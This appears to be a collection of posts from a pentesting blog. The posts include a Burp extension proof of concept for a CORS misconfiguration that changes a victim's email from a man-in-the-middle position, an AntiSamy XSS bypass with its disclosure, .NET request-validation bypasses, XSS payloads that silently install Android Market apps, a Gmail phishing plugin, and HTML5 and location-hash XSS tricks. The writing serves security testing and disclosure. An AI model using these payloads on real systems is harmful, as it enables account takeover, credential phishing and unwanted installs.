Cross-origin resource sharing: unencrypted origin trusted PoC

I thought of a way to make this blog a little bit more active than one post every 4 years. And I thought I will stick to my old mantra of “it doesn’t always have to be ultra l33t hacks”, sometimes it’s enough to have a cool example or Proof of Concept. So here we are.

Burp Suite Pro is able to find various different security issues with its active scanner, one of them being “Cross-origin resource sharing: unencrypted origin trusted”. This means nothing else, than a website allowing CORS being used from an http:// origin.

Or in other words, the vulnerable website responds with Access-Control-Allow-Origin: http://anything and when I say anything, I mean anything. Let’s assume this “anything” is vulnerable.example.org (IMPERSONATED_DOMAIN) for the upcoming examples. And let’s assume the attacked domain returning the CORS header is api.vulnerable.example.org (ATTACKED_DOMAIN). These CORS setting are security issue, because attackers that know of this issue can exploit it. But how?

The setup isn’t the most simple one, as it requires a Machine-In-The-Middle position (MITM) to exploit and you need to find an IMPERSONATED_DOMAIN that uses no HSTS (or the browser has not received the HSTS yet, which is likely if many exotic origins are allowed).

We often configure demo setups during a security analysis. For this example by using Burp Suite Pro in transparent proxy mode on a laptop which creates a Wifi access point and using some iptables rules. The iptables rules make sure that only HTTP traffic on TCP port 80 (but not HTTPS) is redirected to Burp, while HTTPS on port 443 is passed-through. What can we achieve with this setup and the CORS misconfiguration?

  1. User connects to the malicious Wifi access point (free Wifi!), so we gain a MITM-position
  2. User opens his browser, types any website in the address bar (that hasn’t HSTS). Let’s assume it’s completely-unrelated.example.org
  3. The browser automatically tries port 80 first on completely-unrelated.example.org
  4. iptables redirects the port 80 traffic to Burp. In Burp we run a special extension (see below).
  5. Burp injects an iframe or redirects to the vulnerable.example.org (IMPERSONATED_DOMAIN). Notice that the attacker can fully control which domain to impersonate.
  6. The browser loads the iframe or follows the redirect
  7. Burp sees that the browser is requesting vulnerable.example.org (IMPERSONATED_DOMAIN) and instead of returning the real content, sends back an attacker chosen HTML payload
  8. The HTML payload runs in the vulnerable.example.org (IMPERSONATED_DOMAIN) context and uses JavaScript to send requests to https://api.vulnerable.example.org (ATTACKED_DOMAIN)
  9. The browser decides to send a CORS preflight request from the origin http://vulnerable.example.org (IMPERSONATED_DOMAIN) to https://api.vulnerable.example.org (ATTACKED_DOMAIN)
  10. api.vulnerable.example.org (ATTACKED_DOMAIN) allows CORS access for http://vulnerable.example.org (IMPERSONATED_DOMAIN)
  11. Whatever action that the attacker chosen payload should do is executed, as the CORS setting allow it

To make this a little bit more clear to you, the CORS preflight will be something like:

OPTIONS /preferences/email HTTP/1.1
Host: ATTACKED_DOMAIN
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Origin: http://IMPERSONATED_DOMAIN
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type

And the response from the vulnerable server will be similar to:

HTTP/1.1 204 No Content
Date: Mon, 01 Dec 2008 01:15:39 GMT
Access-Control-Allow-Origin: http://IMPERSONATED_DOMAIN
Access-Control-Allow-Methods: POST, PUT, GET, OPTIONS
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true

Now the only piece that we need to create such an attack is that Burp extension. So here we go, this is an example where we assume the exploit we do is change the email in the user preferences:

ATTACKED_DOMAIN = "api.vulnerable.example.org" # This is the attacked domain, the one where the CORS headers are returned
IMPERSONATED_DOMAIN = "vulnerable.example.org" # This is the domain in the HTTP URL which is allowed to use CORS (domain returned in the CORS header)
USE_IFRAME = False # Either hard-redirect all HTTP traffic via meta tag or use a 1x1 pixel iframe
ATTACK_CODE = """
            				//Change email
            				var req2 = new XMLHttpRequest();
            		        req2.onload = reqListener;
            				req2.open('PUT', 'https://""" + ATTACKED_DOMAIN + """/preferences/email', true); 
            		        req2.setRequestHeader('Content-Type', 'application/json');
            		        req2.withCredentials = true;
            		        req2.send(JSON.stringify({"emailAddress":"attacker@example.org"}));
""" # This is the code you want to execute as the impersonated domain. This demonstrates the issue by changing the email in the preferences (via an HTTPS request):

# PUT /preferences/email HTTP/1.1
# Host: ATTACKED_DOMAIN
# Content-Type: application/json
# Content-Length: 39
# 
# {"emailAddress":"attacker@example.org"}

# End configuration

import re
import urllib
from burp import IBurpExtender
from burp import IHttpListener
from burp import IHttpService

class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):
        print "Extension loaded!"
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("CORS non-TLS PoC")
        callbacks.registerHttpListener(self)
        self._end_head_regex = re.compile("</head>\s*<body.*?>")
        self._iframe_url = "http://" + IMPERSONATED_DOMAIN + ":80/"
        print "Extension registered!"

    def processHttpMessage(self, toolFlag, messageIsRequest, baseRequestResponse):
        iRequest = self._helpers.analyzeRequest(baseRequestResponse)
        if not messageIsRequest:
            print str(iRequest.getUrl())
            if str(iRequest.getUrl()) == self._iframe_url:
                # If it is a domain we want to attack, respond with the CORS payload
                print "Part 2: Found a request that has {} as its URL... inject CORS payload".format(IMPERSONATED_DOMAIN)
                body = """<html><body>
                    <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%3E%0A%20%20%20%20%20%20%20%20%09%09%09%20%20%20%20function%20exploit()%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%09function%20reqListener()%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2F%2Falert(this.responseText)%3B%20%2F%2FRemove%20comment%20for%20debugging%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%3B%09%09%09%09%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%09%22%22%22%2BATTACK_CODE%2B%22%22%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09setInterval(exploit%2C%205000)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="&lt;script&gt;" title="&lt;script&gt;" />
                </body></html>"""
                response = """HTTP/1.1 200 OK
Date: Tue, 01 Jan 1970 08:42:42 GMT
Server: Floyds CORS Exploiter Server
Connection: close
Content-Type: text/html
Content-Length: {}

{}""".format(len(body), body)
                baseRequestResponse.setResponse(ps2jb(response))
            elif not IMPERSONATED_DOMAIN in str(iRequest.getUrl()):
                # In responses we inject an iframe, only in requests that are not already to IMPERSONATED_DOMAIN
                print "Part 1: Intercepted request... inject iframe to trusted domain {}".format(IMPERSONATED_DOMAIN)
                response = jb2ps(baseRequestResponse.getResponse())
                if self._end_head_regex.search(response):
                    print "Found a matching HTML page that has the </head> and <body ...> in it."
                    iResponse = self._helpers.analyzeResponse(baseRequestResponse.getResponse())
                    header, body = response[:iResponse.getBodyOffset()], response[iResponse.getBodyOffset():]
                    if USE_IFRAME:
                        body = re.sub(self._end_head_regex,
                              '\g<0><iframe src="{}" style="display:none;" width="1px" height="1px"></iframe>'.format(self._iframe_url),
                              body)
                    else:
                        body = re.sub(self._end_head_regex,
                              '<meta http-equiv="refresh" content="0; url={}">\g<0><img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%20type%3D%22text%2Fjavascript%22%3Ewindow.location.href%20%3D%20%22%7B%7D%22%3B%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="&lt;script&gt;" title="&lt;script&gt;" />'.format(self._iframe_url, self._iframe_url),
                              body)
                    header = fix_content_length(header, len(body), "\r\n")
                    baseRequestResponse.setResponse(header + body)


def fix_content_length(headers, length, newline):
    h = list(headers.split(newline))
    for index, x in enumerate(h):
        if "content-length:" == x[:len("content-length:")].lower():
            h[index] = x[:len("content-length:")] + " " + str(length)
            return newline.join(h)
    else:
        print "WARNING: Couldn't find Content-Length header in request, simply adding this header"
        h.insert(1, "Content-Length: " + str(length))
        return newline.join(h)

def jb2ps(arr):
    return ''.join(map(lambda x: chr(x % 256), arr))

def ps2jb(arr):
    return [ord(x) if ord(x) < 128 else ord(x) - 256 for x in arr]

If you want to read more about Burp extensions, also checkout Pentagrid’s blog where I blog most of the time nowadays.

Python Sender

Last week I played my first Capture The Flag (CTF) where I really tried solving the challenges for a couple of hours. It was a regular jeopardy style CTF with binaries, web applications and other server ports. I don’t think CTFs are going to be my favourite hobby, as pentesting is similar but just a little bit more real life. However, CTFs are very nice for people who want to get into IT security, so I wanted to help a little bit in the team I joined. This particular CTF by Kaspersky really annoyed me though, as the servers were very often offline (HTTP 500 errors). Moreover, some challenges allowed easy Remote Command Execution (RCE) and I guess some teams took the chance to prevent other teams from scoring flags. As I just said I’m not very experienced with CTFs, maybe that’s how it’s supposed to be, but for me that’s silly. Anyway, this post is about something more positive: A Python script to play CTFs, but can also be used during pentests. For those who play CTFs very often, it’s probably better to use a full library such as pwntools, but if you just want a small script where you can delete whatever you don’t need and go with the POC||GTFO flow, you’ve come to the right place.

I think two of the mostly presented CTF challenges often look the same. You either get a URL to a challenge website and you have to do some HTTP magic or you get something like “nc www.example.org 1337” where you are supposed to talk to a server with netcat. Now both challenges usually use TCP/IP and maybe TLS. The website obviously uses HTTP(S) on top of that. So very often you find yourself sending a lot of HTTP requests or a lot of TCP packets to a certain port. Pentests also require the same sometimes.

To make sure we don’t have to fight if Python 2.7 is better than Python 3.6, the script I wrote works on both versions. But even then, people might argue that python’s urllib or urllib2 is sufficient or that they rather use the non-standard requests library. And others will simply say that only asynchronous network IO is really fast enough, so they prefer to use Python Twisted (or treq). However, I got all of these cases covered in the script.

The script allows arbitrary socket and HTTP(S) connections via:

  • socket and ssl-wrapped sockets – when you need bare bone or non-HTTP(S)
  • python urllib/urllib2 HTTP(S) library – when you need HTTP(S) and a little bit more automated HTTP feature handling
  • python requests HTTP(S) library – when you need HTTP(S) and full HTTP feature handling
  • python treq (uses Python Twisted and therefore asynchronous IO) – when you need full HTTP(S) feature handling and speed is important

The main features are:

  • Works under python 2.7 and python 3 (although treq here is untested under python 2.7)
  • You can just copy and paste an HTTP(S) request (e.g. from a proxy software) without worrying about the parsing and other details
  • You can also use the sockets functions to do non-HTTP related things
  • Ignores any certificate warnings for the server

It should be helpful when:

  • You want to script HTTP(S) requests (e.g. just copy-paste from a proxy like Burp), for example during a pentest or CTF
  • When you encounter a CTF challenge running on a server (like “nc example.org 1234”) or a proprietary TCP protocol during pentests

Howto:

  • Change the variables START, END and TLS
  • Optional: Change further configuration options, such as sending the HTTP(S) requests through a proxy
  • Change the ‘main’ function to send the request you would like to. By default it will send 3 HTTP requests to www.example.org with every library.

Enough words, head over to github to download the Python Sender.

OWASP AntiSamy Project XSS

From the OWASP AntiSamy Project page’s “What is it” section:

It’s an API that helps you make sure that clients don’t supply malicious cargo code in the HTML they supply for their profile, comments, etc., that get persisted on the server. The term “malicious code” in regards to web applications usually mean “JavaScript.” Cascading Stylesheets are only considered malicious when they invoke the JavaScript engine. However, there are many situations where “normal” HTML and CSS can be used in a malicious manner. So we take care of that too.

So as far as I understand it, it is trying to prevent Cross Site Scripting (XSS). But to be fair, the user guide is a little bit more realistic:

AntiSamy does a very good job of removing malicious HTML, CSS and JavaScript, but in security, no solution is guaranteed. AntiSamy’s success depends on the strictness of your policy file and the predictability of browsers’ behavior. AntiSamy is a sanitization framework; it is up to the user how it does its sanitization. Using AntiSamy does not guarantee filtering of all malicious code. AntiSamy simply does what is described by the policy file.

Anyway, I found a XSS that worked in the case of the web application I was testing:

<a href="http://example.com"&/onclick=alert(8)>foo</a>

Version: antisamy-1.5.2.jar with all default configuration files there are.

Browsers tested (all working): Firefox 22.0 (on Mac OSX), Safari 6.0.5 (on Mac OSX), Internet Explorer 11.0.9200 (Windows 7) and Android Browser (Android 2.2).

Disclosure timeline:
July 16th, 2013: Wrote to Arshan (maintainer) about the issue
July 16th, 2013: Response, questions about version and browser compatiblity
July 16th, 2013: Clarification about versions/browser and that I only tried getNumberOfErrors(), informed that I’m planning to release this blog post end of August
July 23rd, 2013: Some more E-Mails about similar issue that was just resolved (not the same issue), including Kristian who comitted a fix
July 25th, 2013: Kristian sent a mail, he will have a look at the getNumberOfErrors() logic before releasing an update
July 31st, 2013: Asked if there are any updates on the issue, no response
Sept 09th, 2013: Asked if there are any updates on the issue, response that it should be fixed. Requested new .jar file
Oct 21st, 2013: Tested with the newest version available for download, antisamy 1.5.3. Problem still present. Public release.

Antisamy doesn’t give any error messages and getNumberOfErrors() is 0. Although the getCleanHTML() will give back sanitised code without the XSS, people relying only on the getNumberOfErrors() method to check if an input is valid or not will have a XSS.

Btw. the included configuration file names are somehow misleading (the names include company names like ebay). Those names are made up, doesn’t mean the companies use those conifg files at all. I don’t even know if they are using the antisamy project at all.

I can’t recommend relying on that project. Proper output encoding is important and is the real XSS prevention. And validating HTML with regex is hard. Very hard. Very, very hard. Don’t.

BeEF webcam and Gmail plugin

The BeEF project is one of the better tools to demonstrate the impacts of XSS. I always wondered why there was no webcam plugin, so here we go, I coded two new plugins. Both are already part of BeEF now, so just go on, update your BeEF installation and you’re good to go. I made a demo video for the webcam plugin, you can watch it on vimeo: BeEF webcam plugin using flash.

Additionally I wrote a Gmail phishing plugin, that uses a Cross Site Request Forgery (XSRF) on the Gmail logout button (invalidates the session on the server). That means you have to relogin to Gmail (in all tabs/windows of your browser). Then the plugin changes the XSSed site to a Gmail phishing page. If the user enters his credentials, they get submitted to the BeEF server/attacker. The user will be redirected to the real Gmail login page.

I’m still improving the plugins, so if you have any comments, let me know.

Microsoft .NET: Circumventing XSS request validation

Ha – I’m back!

I guess most of you know how annoying it is to start a Web Pentest and notice that the request validation of Microsoft IIS / .NET is on. I mean the big red error messages “A potentially dangerous request…” or for the .NET programmers, the HttpRequestValidationException. I nearly always found a way around it. There is a really nice post on stackoverflow about which kind of characters will trigger the exception. But for the lazy ones a list of unallowed strings I figured out myself a while ago:

&#
</
<?
<!
<a to <z
<A to <Z

Firstly, you can just not use the < and & character. Just find a place where you are already inside a tag and write something like [code] " onmouseover="alert(123)" alt=" [/code] Second of all, a string that is allowed and I claim to be the first one who found it (I'm sure I was just not able to find someone else who did it before, let me know!): [code] <%# [/code] Yeah, wow, I know. It's not really that impressive and you can't construct a working XSS with it, but you can use it to break the HTML code (at least in Internet Explorer). But nice anyway. Additionally, you can send your XSS payload in any of the HTTP Headers to .NET and it won't be checked. Or if there is a Web Service which does the same as the Web Application, just send a SOAP request with the XSS string (no HttpRequestValidationException there). Of course there are always different encodings that could work. For example you could try HTML (<) and Unicode (\u003c). Enjoy!

XSS – developing an exploit from HTML form to jQuery

As I’m currently really occupied with all the Android stuff, I thought about the blog posts of Jon Oberheide and Thomas Cannon about XSS in the Google Android Market Web Interface (edit: which used to be on http://market.android.com, which doesn’t exist nowadays). While I could have just used Jon Oberheide’s XSS exploit for jQuery, I thought it would be a good exercice for me to develop it on my own.

First of all, I’m talking about XSS, so in the nature of XSS we don’t have to bother about XSRF tokens, because we can just get them in our XSS attack. When you look at a HTTPS request that installs an app (e.g. in the HTTP Live Headers add-on for firefox), you will notice that the following request is sufficient to install an arbitrary app on the Android mobile:

POST https://market.android.com/install HTTP/1.1
Host: market.android.com
Cookie:  androidmarket=YOUR_COOKIE

id=com.example.very.evil.app.already.on.market&device=YOUR_DEVICE_ID&token=YOUR_TOKEN

The “YOUR” variables are all accessible in javascript when you are logged in, as you can see in the HTML source of the Android Market page (var initProps). Therefore you could generate a HTML/XSS payload like this:

<FORM action="https://market.android.com/install" id="formId" method="POST">
	<input id="id" type="hidden" name="id" value="com.example.very.evil.app.already.on.market" />
	<input id="device" type="hidden" name="device" value="" />
	<input id="xhr" type="hidden" name="xhr" value="1" />
	<input id="token" type="hidden" name="token" value="" />
</FORM>
<script>
document.getElementById('token').value = initProps['token'];
document.getElementById('device').value = initProps['selectedDeviceId'];
document.getElementById('formId').submit();
</script>

or in pure javascript:

<script>
myform = document.createElement("form");
myform.action = "https://market.android.com/install";
myform.method = "POST";

id = document.createElement("input");
id.name = "id";
id.type = "hidden"
id.value = "com.example.very.evil.app.already.on.market";
myform.appendChild(id);

device = document.createElement("input");
device.name = "device";
device.type = "hidden"
device.value = initProps['selectedDeviceId'];
myform.appendChild(device);

xhr = document.createElement("input");
xhr.name = "xhr";
xhr.type = "hidden"
xhr.value = "1";
myform.appendChild(xhr);

token = document.createElement("input");
token.name = "token";
token.type = "hidden"
token.value = initProps['token'];
myform.appendChild(token);

document.body.appendChild(myform);

myform.submit();
</script>

For example if you copy the following code into the URL bar of you Android Market Browser Tab (you must be logged in), it will install the official Swiss train service app (SBB) on your mobile:

javascript:myform = document.createElement("form"); myform.action = "https://market.android.com/install"; myform.method = "POST"; id = document.createElement("input"); id.name = "id"; id.type = "hidden"; id.value = "ch.sbb.mobile.android.b2c"; myform.appendChild(id); device = document.createElement("input"); device.name = "device"; device.type = "hidden"; device.value = initProps['selectedDeviceId']; myform.appendChild(device); xhr = document.createElement("input"); xhr.name = "xhr"; xhr.type = "hidden"; xhr.value = "1"; myform.appendChild(xhr); token = document.createElement("input"); token.name = "token"; token.type = "hidden"; token.value = initProps['token']; myform.appendChild(token); document.body.appendChild(myform); myform.submit();

The problem with that payload is, that it will prompt the user a json.txt file download. So let’s do some Ajax magic instead:

var xmlHttpObject = false;
if (typeof XMLHttpRequest != 'undefined') {
    xmlHttpObject = new XMLHttpRequest();
}
if (!xmlHttpObject) {
    try {
        xmlHttpObject = new ActiveXObject("Msxml2.XMLHTTP");
    }
    catch(e) {
        try {
            xmlHttpObject = new ActiveXObject("Microsoft.XMLHTTP");
        }
        catch(e) {
            xmlHttpObject = null;
        }
    }
}

//POST request
params = "com.example.very.evil.app.already.on.market&device=" + initProps['selectedDeviceId'] + "&xhr=1&token=" + initProps['token']
xmlHttpObject.open("POST", "install", true);
xmlHttpObject.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlHttpObject.setRequestHeader("Content-length", params.length);
xmlHttpObject.setRequestHeader("Connection", "close");
xmlHttpObject.send(params);

Now the following one line in your browser address bar will silently install the app (remove the app first if you already executed the last payload):

javascript: var xmlHttpObject = false; if (typeof XMLHttpRequest != 'undefined') { xmlHttpObject = new XMLHttpRequest(); }; if (!xmlHttpObject) { try { xmlHttpObject = new ActiveXObject("Msxml2.XMLHTTP"); } catch(e) { try { xmlHttpObject = new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) { xmlHttpObject = null; }; }; }; params = "id=ch.sbb.mobile.android.b2c&device=" + initProps['selectedDeviceId'] + "&xhr=1&token=" + initProps['token']; xmlHttpObject.open("POST", "install", true); xmlHttpObject.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); xmlHttpObject.setRequestHeader("Content-length", params.length); xmlHttpObject.setRequestHeader("Connection", "close"); xmlHttpObject.send(params);

If we now take into account that we could simply use jquery, the following javascript code (proposed by Jon Oberheide) results:

$.post('/install', {
    id: 'com.example.very.evil.app.already.on.market',
    device: initProps['selectedDeviceId'],
    token: initProps['token'],
    xhr: '1' }, function(data) {
});

This is of course much more elegant, but I really needed a HTML form to jQuery exercise, so I appreciate jQuery again 🙂

How webservers react on specific characters

One thing I did during my Master Thesis a while ago, was to test how different webservers react to all kind of characters. One of the first things I tested was all characters represented by one byte (00 to FF) and their percent encoded equivalents (%00 to %FF). Of course the results may vary with other server versions, server configurations, server side code, client libraries or the sent HTTP headers. For example python’s urllib2 is not able to send 0A (line feed) in an URI (which makes sense). I tried to use standard components as best as I could. The webservers I used were:

  • An Apache 2.2.12 server (port 80), Ubuntu 9.10 machine with PHP 5.2.10
  • On the same machine a Tomcat 6.0.26 server (port 8080) with JSP (Java Server Pages)
  • On a Microsoft-IIS/6.0, Windows 2003 Server R2/SP2 with ASP.NET 2.0.50727 a script in C# on Virtualbox 3.1.8

So here are the main results in one picture:

character_table_for_testing_webservers

The ‘Name’ column means that the character was injected into the parameter name, e.g. na%00me=value&a=b. The fields with ‘S’ are explained in another section of my Master Thesis, but some of the time you can guess the behavior. E.g. I think you know what & stands for in GET parameters, right? 😉

This kind of information is useful when you are trying to write a fuzzer, that is more focused to do some tests that make sense. Would be interesting if this table is useful for someone else.

HTML5 security – making web users more safe?

There is one thing security engineers and new technologies ideally have in common: They make existing stuff more secure. For the security engineer, there is certainly a truth in this claim – for new technologies however, I’m not that sure though…

Recently I wanted to improve my skills in HTML5 when I stumbled on some interesting new features a penetration tester (or an attacker, which in most cases does not make a huge difference) can abuse to exploit XSS-vulnerabilities. Of course there are also many more features that make other injections possible, but for XSS there are some very interesting ones. Until now, when you found a XSS hole within a input element that has filtered < and > you could not exploit it automatically without using CSS expressions – for example:

<input type="text" USER_SPECIFIED_INPUT >

This type of vulnerability was usually exploited using something like

style=xss:expression(alert(0))

or similar. Anyway all of them work on a limited set of browsers only and are therefore not that interesting for a real exploit.

So what about HTML5? No more CSS expression is needed – the magic is called autofocus:

<input type="text" AUTOFOCUS onfocus=alert(0)>

Nice – so who did expect new technologies to make users safer? This is just one example – have a look at Mario Heiderich’s “HTML 5 Security Cheatsheet” for many more of them…

Finally – what are the lessons learned?

  • I (and every penetration tester as well as WAF/IDS-developer out there, too) definitively need to look into HTML5
  • HTML5 offers many new features – one might also call it “new ways to attack a web user”

So long – sc0rpio

What about JavaScript support?

This is my first blog post and any feedback is appreciated. During my daily work I have been using w3af, the web application application attack and audit framework, extensively. What I’ve noticed is that w3af sometimes struggles with the basic task of spidering a targeted web application. And if the targeted web application can’t be properly spidered you won’t find any vulnerabilities. The reasons might differ but there is an obvious one which other tools suffer as well. What about JavaScript support in the spiders? Most of the time JavaScript is not properly or not at all supported by web spiders in open source security testing tools. Every web application uses some kind of JavaScript/Ajax functionality to work properly these days. Wouldn’t it be a necessity for spiders in security related applications to support JavaScript? I’m not talking about commercial products which certainly have some kind of JavaScript support but the open source tools certainly lack this feature. There are some open source libraries available I’d like to point out.

The Mozilla Rhino project builds the basis for the HtmlUnit project which describes itself as “GUI-Less browser for Java programs. It models HTML documents and provides an API that allows you to invoke pages, fill out forms, click links, etc… just like you do in your normal browser.” Sounds interesting… and it is. I’ve written a basic web spider component using HtmlUnit for a larger project I am currently working on (more about this later). The great benefit is, as you’ve imagined, the JavaScript support it provides. Let’s see some basic HTML page with embedded JavaScript code (the example is a bit far fetched):

<html>
<head><title>Login Form</title></head>
<body>
    <form action="checkLogin.php" name="loginForm">
    <script type="text/javascript">
        function writeInputElement(inputType, inputName) {
            document.write('<input type="' + inputType + '" name="' + inputName + '" />');
        }
        writeInputElement("text", "username");
        writeInputElement("password", "password");
        writeInputElement("submit", "loginButton");
    </script>
    </form>
</body>
</html>

The preceeding snippet shows the JavaScript code for creating a dynamically HTML form. Web Application Security tools such as w3af are not able to find and work with the dynamically created input fields. Whereas HtmlUnit properly updates the HTML DOM and provides an easy to use API for accessing and modifying the embedded HTML fields. The following code shows how to parse and modify the HTML page:

public void submittingForm() throws Exception {
    // Creates a new browser object using a proxy server
    // and simulating Mozilla Firefox version 3
    final WebClient webClient = new WebClient(BrowserVersion.FIREFOX_3,
        "http://myproxyserver", 8080);

    // Set proxy username and password
    final DefaultCredentialsProvider credentialsProvider = (DefaultCredentialsProvider)
        webClient.getCredentialsProvider();
    credentialsProvider.addProxyCredentials("proxyUsername", "myProxyPassword123");

    // Get the first page
    final HtmlPage page1 = webClient.getPage("http://www.example.com/login.php");

    // Get the form that we are dealing with and within that form,
    // find the submit button and the field that we want to change.
    final HtmlForm form = page1.getFormByName("loginForm");

    final HtmlSubmitInput button = form.getInputByName("loginButton");
    final HtmlTextInput textFieldUsername = form.getInputByName("username");
    final HtmlPasswordInput textFieldPassword = form.getInputByName("password");

    // Change the value of the text fields
    textFieldUsername.setText("john");
    textFieldPassword.setText("gaephah6MueD");

    // Now submit the form by clicking the button and get back the second page
    final HtmlPage page2 = button.click();
}

I’ve tested my spider with the WIVET benchmark project. From the WIVET project page: “WIVET is a benchmarking project that aims to statistically analyze web link extractors. In general, web application vulnerability scanners fall into this category.” My spider scored a 85% discovery rate whereas w3af only scored between 16% and 50% depending on the version used. I hope that there might be more JavaScript/DOM Manipulation libraries for other programming languages in the future.

Cheers, nini0

Location based XSS attacks

There is always something new to learn… Didn’t know this little trick. A very simple example:

A website has a reflected XSS vulnerability (echoes the parameter abc in this example), but escapes " to &quot;. We use the property that web browser do not send the fragment part of an URI (everything after the hash character #) to the web server:

http://example.com/index.php?abc=<script>eval(location.hash.slice(1))</script>#alert(“XSS!!!”);

See the page above for more advanced examples. This technique solves the escaping problem and the server logs never show the Javascript attack code.